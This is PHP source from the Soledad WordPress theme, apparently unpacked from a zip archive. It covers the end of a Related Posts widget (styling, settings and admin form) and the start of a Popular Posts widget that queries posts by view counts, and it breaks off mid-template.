						$attrstyle .= '.widget ul#penci-relatedwg-' . $rand . ' li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
					}
					if ( $pmfs ) {
						$attrstyle .= '.widget ul#penci-relatedwg-' . $rand . ' li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
					}
					if ( $image_type == 'horizontal' ) {
						$attrstyle .= '#penci-relatedwg-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
					} elseif ( $image_type == 'square' ) {
						$attrstyle .= '#penci-relatedwg-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
					} elseif ( $image_type == 'vertical' ) {
						$attrstyle .= '#penci-relatedwg-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
					}

					if ( $attrstyle ) {
						echo '<style type="text/css">' . $attrstyle . '</style>';
					}

					/* After widget (defined by themes). */
					echo ent2ncr( $after_widget );

					wp_reset_postdata();
				endif;

			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'        => esc_html__( 'Related Posts', 'soledad' ),
				'ptfsfe'       => '',
				'ptfs'         => '',
				'pmfs'         => '',
				'image_type'   => 'default',
				'type'         => 'categories',
				'orderby'      => 'date',
				'order'        => 'DESC',
				'title_length' => '',
				'number'       => 5,
				'featured'     => false,
				'movemeta'     => false,
				'dotstyle'     => '',
				'ajaxnav'      => '',
				'metakey'      => '',
				'allfeatured'  => false,
				'thumbright'   => false,
				'twocolumn'    => false,
				'featured2'    => false,
				'postdate'     => false,
				'icon'         => false
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <br>
            <p><span style="color: #ff0000;">Note Important:</span> This widget just appears on single post pages only.
            </p>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Display related posts by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>"><?php esc_html_e( 'Display Related Posts By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'type' ) ); ?>" class="widefat type"
                        style="width:100%;">
                    <option value='categories' <?php if ( 'categories' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Categories', 'soledad' ); ?></option>
                    <option value='tags' <?php if ( 'tags' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Tags', 'soledad' ); ?></option>
                    <option value='primary_cat' <?php if ( 'primary_cat' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Primary Category from Yoast SEO Plugin', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Hide post date -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Enable post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\,U  U  #  inc/widgets/popular_post_widget.phpnu [        <?php
/**
 * Popular posts widget
 * Get most viewed and display in widget
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_popular_news_load_widget' );

function penci_popular_news_load_widget() {
	register_widget( 'penci_popular_news_widget' );
}

if ( ! class_exists( 'penci_popular_news_widget' ) ) {
	class penci_popular_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_popular_news_widget',
				'description' => esc_html__( 'A widget that displays your popular posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_popular_news_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_popular_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Popular Posts', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_popular_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Popular Posts', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$type       = isset( $instance['type'] ) ? $instance['type'] : '';
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$number     = isset( $instance['number'] ) ? $instance['number'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$query_cat  = isset( $instance['query_cat'] ) ? $instance['query_cat'] : '';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$ptorn        = isset( $instance['ptorn'] ) ? absint( $instance['ptorn'] ) : '';
			$oboxsize     = isset( $instance['oboxsize'] ) ? absint( $instance['oboxsize'] ) : '';
			$row_gap      = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth     = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$ordernum_style   = isset( $instance['ordernum_style'] ) ? $instance['ordernum_style'] : '1';
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();

			$query = array(
				'meta_key'            => penci_get_postviews_key(),
				'orderby'             => 'meta_value_num',
				'order'               => 'DESC',
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( $type == 'week' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_week_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $type == 'month' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_month_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $type == 'daily' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_day_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $type == 'jetpack' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => '_jetpack_post_view',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			}

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					if ( $categories ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $tags_id;
					}
				}
			}

			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			if ( $query_cat && ( is_category() || is_tag() ) ) {
				$query['post_type'] = 'post';
				$queried_object = get_queried_object();
			
				if ( is_category() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['cat'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['category_name'] = $queried_object->slug;
					}
				} elseif ( is_tag() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['tag_id'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['tag'] = $queried_object->slug;
					}
				}
			}

			$loop = new WP_Query( $query );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */
				echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}

				$rand = rand( 1000, 10000 );

				$data_settings = $instance;
				unset( $data_settings['title'] );

				$widget_class = [];

				$widget_class[] = 'side-newsfeed';

				if ( $twocolumn && ! $allfeatured ) {
					$widget_class[] = 'penci-feed-2columns';
					if ( $featured ) {
						$widget_class[] = 'penci-2columns-featured';
					} else {
						$widget_class[] = 'penci-2columns-feed';
					}
				}

				if ( ! $ordernum ) {
					$widget_class[] = 'display-order-numbers';
				}

				if ( $dotstyle ) {
					$widget_class[] = 'pctlst pctl-' . $dotstyle;
				}

				$widget_class[] = 'order-numbers-' . $ordernum_style;


				?>
                <ul id="penci-popularwg-<?php echo sanitize_text_field( $rand ); ?>"
                    data-settings='<?php echo json_encode( $data_settings ); ?>' data-paged="1"
                    data-action="penci_popular_news_ajax"
                    data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                    data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                    class="<?php echo esc_attr( implode( ' ', $widget_class ) ) ?>">

					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>

                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {
											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}
										$thumb = penci_featured_images_size( 'small' );
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
										if ( $image_type == 'horizontal' ) {
											$thumb = 'penci-thumb-small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
										} elseif ( $image_type == 'square' ) {
											$thumb = 'penci-thumb-square';
										} elseif ( $image_type == 'vertical' ) {
											$thumb = 'penci-thumb-vertical';
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
